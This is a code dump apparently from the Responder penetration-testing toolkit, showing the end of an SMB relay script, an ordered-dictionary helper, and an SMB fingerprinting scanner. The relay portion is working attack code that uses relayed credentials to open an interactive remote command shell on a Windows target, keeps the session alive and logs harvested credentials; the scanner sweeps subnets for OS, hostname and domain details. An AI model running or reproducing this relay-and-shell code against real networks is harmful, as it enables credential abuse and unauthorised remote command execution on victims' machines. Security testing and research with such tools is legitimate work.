if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
## Tree Connect
if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#Verify if the target returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Fail Handling.
if data[8:10] == "\x75\x22":
print "[+] Tree Connect AndX denied. SMB Signing is likely mandatory on the target, or low privilege user.\n[+] Hashes were saved anyways in Responder/logs/ folder."
return False
## NtCreateAndx
if data[8:10] == "\x75\x00":
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
while True:
if data[8:10] == "\x75\x00":
thread.start_new_thread(SMBKeepAlive, (s,data, 15)) #keep it alive every 15 secs.
thread.start_new_thread(get_command, ())
while Cmd == "":
pass
if Cmd == "exit":
sys.exit(1)
data = RunCmd(data, s, clientIP, Username, Domain, Cmd, Logs, Host)
if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection. Make sure to clean the server (\\Windows\\Temp\\)\033[0m\n"
if data[8:10] == "\x2d\x34":#Confirmed with OpenAndX that no file remains.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
while len(Cmd2) is 0:
Cmd2 = raw_input("C:\\Windows\\system32\\:#")
if Cmd2 == "exit":
sys.exit(1)
data = RunCmd(data, s, clientIP, Username, Domain, Cmd2, Logs, Host)
if data[8:10] == "\x2d\x00":
print "[*] File still exist (Windows\\Temp\\Results.txt), server's not playing nicely."
def main():
try:
num_thrd = 1
while num_thrd > 0:
RunPsExec(Host)
time.sleep(1)
except KeyboardInterrupt:
exit()
if __name__ == '__main__':
try:
main()
except:
raise

117
tools/RelayHTTPSMB/odict.py Normal file
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@ -0,0 +1,117 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):
def __init__(self, *args, **kwds):
if len(args) > 1:
raise TypeError('expected at most 1 arguments, got %d' % len(args))
try:
self.__end
except AttributeError:
self.clear()
self.update(*args, **kwds)
def clear(self):
self.__end = end = []
end += [None, end, end]
self.__map = {}
dict.clear(self)
def __setitem__(self, key, value):
if key not in self:
end = self.__end
curr = end[1]
curr[2] = end[1] = self.__map[key] = [key, curr, end]
dict.__setitem__(self, key, value)
def __delitem__(self, key):
dict.__delitem__(self, key)
key, prev, next = self.__map.pop(key)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.__end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.__end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
else:
key = iter(self).next()
value = self.pop(key)
return key, value
def __reduce__(self):
items = [[k, self[k]] for k in self]
tmp = self.__map, self.__end
del self.__map, self.__end
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return self.__class__, (items,), inst_dict
return self.__class__, (items,)
def keys(self):
return list(self)
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
def copy(self):
return self.__class__(self)
@classmethod
def fromkeys(cls, iterable, value=None):
d = cls()
for key in iterable:
d[key] = value
return d
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other

234
tools/SMBFinger/Finger.py Executable file
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#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct
from socket import *
from odict import OrderedDict
import optparse
__version__ = "0.3"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
options, args = parser.parse_args()
Timeout = 0.3
Host = options.TARGET
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Now Lanman
class SMBHeaderLanMan(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\xc8"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoDataLanMan(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x54\x00"),
("BuffType","\x02"),
("Dialect", "NT LM 0.12\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["BuffType"])+str(self.fields["Dialect"])
self.fields["Bcc"] = struct.pack("<h",len(CalculateBCC))
#####################
def atod(a):
return struct.unpack("!L",inet_aton(a))[0]
def dtoa(d):
return inet_ntoa(struct.pack("!L", d))
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data):
try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
return Hostname, DomainJoined
except:
return "Could not get Hostname.", "Could not get Domain joined"
def DomainGrab(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
return GetHostnameAndDomainName(data)
except:
pass
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
print "Host down or port close, skipping"
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
pass
##################
#run it
def ShowResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
print "Retrieving information for %s..."%Host[0]
OsVer, LanManClient = SmbFinger(Host)
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
Hostname, DomainJoined = DomainGrab(Host)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
except:
pass
def RunFinger(Host):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
ShowResults((host,445))
else:
ShowResults((Host,445))
RunFinger(Host)

106
tools/SMBFinger/odict.py Normal file
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from UserDict import DictMixin
class OrderedDict(dict, DictMixin):
def __init__(self, *args, **kwds):
if len(args) > 1:
raise TypeError('expected at most 1 arguments, got %d' % len(args))
try:
self.__end
except AttributeError:
self.clear()
self.update(*args, **kwds)
def clear(self):
self.__end = end = []
end += [None, end, end]
self.__map = {}
dict.clear(self)
def __setitem__(self, key, value):
if key not in self:
end = self.__end
curr = end[1]
curr[2] = end[1] = self.__map[key] = [key, curr, end]
dict.__setitem__(self, key, value)
def __delitem__(self, key):
dict.__delitem__(self, key)
key, prev, next = self.__map.pop(key)
prev[2] = next
next[1] = prev
def __iter__(self):
end = self.__end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.__end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def popitem(self, last=True):
if not self:
raise KeyError('dictionary is empty')
if last:
key = reversed(self).next()
else:
key = iter(self).next()
value = self.pop(key)
return key, value
def __reduce__(self):
items = [[k, self[k]] for k in self]
tmp = self.__map, self.__end
del self.__map, self.__end
inst_dict = vars(self).copy()
self.__map, self.__end = tmp
if inst_dict:
return (self.__class__, (items,), inst_dict)
return self.__class__, (items,)
def keys(self):
return list(self)
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items())
def copy(self):
return self.__class__(self)
@classmethod
def fromkeys(cls, iterable, value=None):
d = cls()
for key in iterable:
d[key] = value
return d
def __eq__(self, other):
if isinstance(other, OrderedDict):
return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items()))
return dict.__eq__(self, other)
def __ne__(self, other):
return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']